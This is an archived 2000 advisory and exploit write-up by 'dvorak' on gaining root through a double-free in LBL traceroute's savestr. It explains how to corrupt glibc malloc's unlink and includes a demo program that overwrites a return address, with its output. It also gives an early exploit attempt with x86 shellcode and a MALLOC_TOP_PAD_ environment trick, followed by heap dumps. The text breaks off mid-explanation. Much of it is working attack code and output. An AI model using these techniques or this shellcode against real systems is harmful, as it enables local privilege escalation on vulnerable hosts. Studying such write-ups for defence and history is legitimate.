Traceroute exploit + story

Type securityvulns
Reporter Securityvulns
Modified 2000-10-06T00:00:00


        LBL traceroute exploit.

     By Dvorak, Synnergy Networks

Vulnerable: All versions of LBL traceroute using savestr. See Chris Evans post in bugtraq ( Discovery: Pekka Savola ( Published to bugtraq by: Chris Evans ( Exploit: dvorak ( Exploit successful: RH 6.1 RH 6.2 Debian 2.2 Exploit not successful: Debian woody (didn't check source) Slackware 7.1: non vulnerable traceroute


Should come from your vendor. The flaw was published about two weeks ago, every vendor should have a patch by now.

Description & Vulnerability

Please take a look at Chris Evans post:


Scrippie ( for the idea about MALLOC_TOP_PAD_ since that got me started again.

Dethy ( Emphyrio (Robert van der Meulen, both for valuable comments to the text.

Sonnema en dr. Pepper for providing the drinks needed to build the exploit.

Exploit + Story

This text starts with the story about the exploit. The exploit can be found at the end, but getting it to work might require reading the story.

I won't go into details about malloc internals because i think it's not needed and you should be able to find that out yourself. (ok probably closer to the truth is that i can't explain it as clear as the source of malloc does: i don't understand the malloc internals well enough to be able to explain it clearly.)

What you should know is that the internals of malloc work with chunks in which they keep the data. Malloc gives out a pointer to the memory to the user. These pointers are actually ((char *)chunk)+8, hope that helps in the explanation. Its possible to get free() to work with incorrect chunks, which is the base for the exploit.

Using nice ascii it looks like:

chunk | | +--->+-------------- | prev_size +-------------- | size +--->+-------------- | | fd or data | +-------------- | | bk or data | +-------------- | | .... | mem

chunk is used as pointer in the internals of malloc while mem is the pointer given to the user. If the chunk is not being used (that is the chunk hasn't been given to the user using malloc() or the user has retunred the chunk) fd and bk are used to hold pointers. If chunk is in use they are used to hold data.

What happens if free(mem) is called?

First free() converts mem into a chunk ((char *)mem) - 8) on the Intel. free() then calls chunk_free() to do the rest.

The chunk given to chunk_free() as argument will be called 'p' during the rest of the text. Using p->prev_size (the size of the previous chunk) and p->size (the size of chunk p) chunk_free() finds the previous chunk (called prev from now on) and the next chunk (called next from now on). It then checks if next and/or prev are chunks which aren't in use (by checking chunk->size & PREV_INUSE). If they aren't p is linked into the double linked list of free chunks using the fd and bk field of prev and/or next.

This linking into the free chunks list is done using the macro 'unlink':

define unlink(P, BK, FD) \

{ \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ }

If we manage to let chunk_free call unlink() with a chunk of which the fields fd and bk have been filled in by us, we will be able to change values in memory:

if chunk->fd = (int ) x and chunk->bk = (int ) y after an unlink() of that chunk x[3] will be y and y[2] will be x

example source:

[dvorak@redhat free]$ cat free.c void main(void) { unsigned int *chunk; int i; unsigned int shellcode[10]; unsigned int ret_addr_2_change = 9;

    /* Get some space */
    chunk = malloc(0x8);

    /* now setup the chunk to fool chunk_free()
       By making prev_size negative it will look
     _after_ this chunk in stead of in front of it
    chunk[0] = -0x10;       /* prev_size */
    chunk[1] = 0x8;         /* size */
    chunk[2] = shellcode;   /* fd */
    chunk[3] = shellcode;   /* bk */

    /* set fd to the adres of the return address - 3
       the minus 3 is needed because fd[3] will become bk
       bk will be set to point to our shellcode. Remember that
       bk[2] will be changed to contain fd so that there should be
       a jmp or so in the shellcode to skip that value.
    chunk[4+2] = (int) (&ret_addr_2_change - 3);
    chunk[4+3] = (int) (shellcode);

    /* set shellcode to 0 so that we can see the change */
    memset(shellcode, 0, sizeof(shellcode));

    printf("ret before call: %x\n", ret_addr_2_change);
    printf("address of ret: %x\n", &ret_addr_2_change);
    printf("address of shellcode: %x\n", shellcode);
    /* remember we give mem to free which finds the chunk based on
     that */

    printf("ret now: %x\n", ret_addr_2_change);
    for (i = 0 ; i < 10; i++) {
            printf("sh: %d : %x\n", i, shellcode[i]);

} [dvorak@redhat free]$ make free cc free.c -o free -g free.c: In function main': free.c:8: warning: assignment makes pointer from integer without a cast free.c:15: warning: assignment makes integer from pointer without a cast free.c:16: warning: assignment makes integer from pointer without a cast free.c:1: warning: return type ofmain' is not `int' [dvorak@redhat free]$ ./free ret before call: 9 address of ret: bffffb44 address of shellcode: bffffb48 ret now: bffffb48 sh: 0 : 0 sh: 1 : 0 sh: 2 : bffffb38 sh: 3 : 0 sh: 4 : 0 sh: 5 : 0 sh: 6 : 0 sh: 7 : 0 sh: 8 : 0 sh: 9 : 0 [dvorak@redhat free]$ exit

As we can see we successfully overwrote the return address with the address of our shellcode. An extra example is at the end of the text (main difference is that prev is now located on the stack.) How do we use this to exploit traceroute ?

First lets look at what we can do with traceroute:

After parsing of the second -g option, just before the call to freehostinfo() the buffer looks like this:

argument of first -g\x00argument of second -g ------------------------^-------------------- | Free will be called with this address as argument. After calculating the address of the chunk, free() will call chunk_free(). The pointer that chunk_free() receives will point to an address which contains the last 7 bytes of the argument to the first -g option terminated by a '\0' byte.

What can we put into these 7 bytes? When looking at the source of traceroute we see that these 7 bytes will be the last 7 bytes of the argument supplied to the first -g option if and only if inet_addr(argument) or gethostbyname(argument) returns without an error. A quick look at the source of inet_addr gives us the information that it will return success with an argument of "ipaddr_in_dot_notation<space><what ever (binary data for instance)>"

So we basically can get anything in those last 7 bytes except '\0' bytes. This leads to the following chunk fields:

START of chunk | prev_size | size | XX XX XX XX XX XX XX 00

with XX non zero.

Or converted to int's

p->prev_size = 0xXX XX XX XX with no byte equal to zero. p->size = 0x00 XX XX XX with the msb equal to zero and the other 3 bytes non zero.

chunk_free finds it's next chunk using:

((char *)p) + (p->size & ~(PREV_INUSE)) // PREV_INUSE = 0x01

next will be searched at 0x00010101 bytes above p at the least or 0x00ffffff bytes above p at most. Unfortunately this will never lead to next being in addressable memory space so here the exploit attempt ends.

I was talking this over with Scrippie and he told me to take a look at some of the runtime parameters of the malloc system. One of these was the environment variable MALLOC_TOP_PAD_ which is used to pad sbrk calls. The result of MALLOC_TOP_PAD_ being set to 1000000 is that more then just the 1024 bytes required by traceroute are allocated using sbrk. Now next could be in addressable memory. Time for the real exploit.

First attempt:

The first address should be " \xe0\xff\xff\xff\x01\x01\x01\x00"

chunk_free would lookup 'next' and find it addressable and zero (which would lead to a crash, at least it seemed to crash because of did, but looking at the malloc source suggests that is should work fine). It will then continue to find 'previous' which was -0x20 in size or located 32 bytes after 'p'. We could set the argument of the second -g option so that at 32 bytes after 'p' there would be a correct chunk which would, when used in the unlink(), lead to the return address being overwritten (and hopefully to root).

The first problem showed immediately. One of the checks in chunk_free is:

if (next == top(ar_ptr)) with ar_ptr = arena_ptr(p);

Looking at the source of malloc.c one can see that this will lead to a crash of p points above the last block of malloced memory (ok this isn't 100% correct but it should suffice for the explanation). The last block of malloced memory is the block returned by the malloc(1024) call in savestr.c of traceroute, but this block is already free()'d after processing the first -g option, so p was pointing to far in memory. One byte to far to be exact. This was solved by not using as ip-address but using 1.2.33 instead (which is legal - look at inet_addr.c).

The exploit at that time looked like this:

/* Just some notes to myself while coding told me what to do etc. The first argv explains it in more human language the second was used by me to try to organize my thoughts.

    argv0: bS

  argv1: -g the ip_address then the fake data for chunk p
    argv1: &#92;xc0&#92;xff&#92;xff&#92;xff&#92;x04&#92;x01&#92;x01&#92;x00

  argv2: -g the ip address then some padding then the fd and bk
           pointers which should give us root.
           The weird calculation for the address of the
           shellcode is because we can&#39;t really use nops etc
           part of the code is overwritten &#40;bk[2] = fd ..&#41;
           so we try to calculate where is will be placed
           this calculation turned out to be incorrect ;&#41;
    argv2: addr_2_change_etc shellcode_addres
         &#40;0xc0000000 - 8 - &#40;strlen&#40;argv3&#41; + 1&#41; - &#40;strlen&#40;env&#41; +


  argv3: this argument will be used for the shellcode
         including the extra jmp
    argv3: jmp forward 12 bytes or so + nop nop nop + shellcode


include <stdio.h>

char shellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh";

char jmp_forward[] = "\xeb\x0c";

/ Stupid and useless function to convert an int to a character array what happened to: char p[5]; ((int )p) = val; p[4] = '\0'; ?? / void make_addr(char res, unsigned int val) { int i; char p = (char ) &val;

    for &#40;i = 0; i &lt; 4; i++&#41;
            res[i] = &#40;char&#41; *p++;
    res[i] = &#39;&#92;0&#39;;


int main(int argc, char argv[]) { char addr1[1000]; char addr2[100]; char execute_me[100]; char arg[] = {"./traceroute", addr1, addr2, execute_me, NULL}; char *env[] = {"MALLOC_TOP_PAD_=1000000", NULL};

    char shell_addr[5];
    char ret_addr[5];

    /* the first argument -g option */
    snprintf&#40;addr1, sizeof&#40;addr1&#41;, &quot;-g9.2.3.3 &quot;
    /* yeah I am lazy d0h */
    memset&#40;execute_me, 0x41, 100&#41;;
    strncpy&#40;execute_me, jmp_forward, strlen&#40;jmp_forward&#41;&#41;;
    strcpy&#40;execute_me+20, shellcode&#41;;

    /* this calculation is already a little bit better, but
       still not good enough
    make_addr&#40;shell_addr, 0xc0000000 - 8 - &#40;strlen&#40;arg[3]&#41; + 1&#41; -
                          &#40;strlen&#40;env[0]&#41; + 1&#41;&#41;;
    make_addr&#40;ret_addr, strtoul&#40;argv[1], 0, 0&#41; - 12&#41;;

    /* another failure.. in addr1 we set p-&gt;size to 0xffffffc0 or
       -0x40 so the ret_addr and shell_addr are definitly at the

wrong spot, never drink and code is the lesson i guess. */

    snprintf&#40;addr2, sizeof&#40;addr2&#41;, &quot;-g1.2.3.4 &#37;s &#37;s&quot;, ret_addr,

shell_addr); / talking about well hmm misplaced confidence in my own code / printf("Going for root!!!\n"); execve(arg[0], arg, env); }

Well as you can see in the comments i made an awful lot of stupid mistakes which all make sure the exploit can't work ;(.

After trying the above exploit i got a crash (how suprising). The first problem was p being above the highest malloced block so i changed the ip address of the first -g option to 1.2.33. This eliminated the first crash.

Looking further into the result of my exploit i noticed something weird:

p->prev_size and p->size weren't even correct (that is they weren't 0xffffffc0 and 0x00010101) and since both are essential for the exploit to work i looked further into this behaviour. After adding a couple of printf's to the traceroute source (i am absolutely no gdb guru) the following showed:

traceroute-1.4a5]$ ./traceroute -g -g

the first address of hi->name, this is the address of the buffer malloced in save_str

hi->name: 0804cf18

This is what the buffer looks like (well the 10 bytes before and the first 13 bytes of the buffer) after the first savestr in gethostinfo

gethost, savestr: 00 00 00 00 00 00 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32 ^ ^ is the start of the buffer, just before it you can see the p->size pointer which is 0x00000409(1033) 1032 for the size (1024 bytes data and 8 bytes for the size and prev_size fields). The +1 is because the PREV_INUSE is set.

after the calloc(addrs) in gethostinfo

gethost, calloc addrs: 00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32

The address of hi (struct hostinfo *) is below the address of the buffer, which is logical because it has been calloc'd earlier then the malloc(1024) in savestr. The addrs are located above the buffer because they are calloc'd later.

hi: 0804cf08 hi->addrs: 0804d320

After the address is filled in into addrs, nothing to see because addrs is located above the buffer.

gethost, calloc addrs filled in: 00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32

Back to the getopt loop, just after the return of getaddr(). In getaddr() the hostinfo struct and addrs have been free'd, as well as the buffer containing our data.

while getopt after getaddr: 00 00 20 d3 04 08 f1 10 00 00 a0 7f 10 40 a0 7f 10 40 32 34 35 2e 32 ^ ^ is the start of the buffer. As can be seen the contents have changed, this is because of the free(). Now that p is on the free list its fd and bk fields are in use and point to other free blocks. The first 8 bytes will be overwritten with this data and since we are putting in "1.2.33 etc" the first byte of our fake chunk will be overwritten (something to keep in mind).

After calloc(addrs) for the second -g option the buffer is suddenly zero'd out. The reason behind this is that the first calloc(addrs) calloc'd data after our buffer (which was still malloc'd at that time). Now that the buffer has been free'd the free memory is assigned to this calloc.

gethost, calloc addrs: 00 00 18 cf 04 08 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e1

Here we see that addrs indeed overlaps with our original buffer.

hi: 0804cf08 hi->addrs: 0804cf18

Then the converted ip-address gets filled in. And whats more those 4 bytes are under our full control (they represent the parts of the ip- address given with the second -g option).

gethost, calloc addrs filled in: 00 00 18 cf 04 08 11 00 00 00 7b 7b 00 7b 00 00 00 00 00 00 00 00 e1

segfault after the second free.

Segmentation fault (core dumped)

So what do we have now?

The first 4 bytes of the savestr buffer are under full control. And what is also nice is that the bytes placed after these 4 byte are zero as well as the bytes before the 4 bytes.

So what's our next approach?

the buffer will look like this:

00 00 00 xx xx xx xx 00 00 00 00 00 00 00 00 00 00

With xx under our full control. We want to control p->size and p->prev_size so we should make sure p points somewhere around those xx's

What's a good place for it to point?

Immediately at the start would be nice, but it would also mean that p->size is always 0 and thus that next would be the same as p, which gives less flexibility. The easiest is to let p point to the byte just before the xx's. That way prev_size would be 0xyyyyyy00 so that prev could be anywhere in memory (well not completely, the last byte of it's address can't be chosen but that shouldn't yield problems) and p->size would be 0x000000xx so that next is at little above 'p'.

To get p to point to that addres free() should be called with p + 8 or (since the xx are at the start of the savestr buffer) the first argument to -g should place 7 bytes in the buffer (including the \0 byte). The exact value of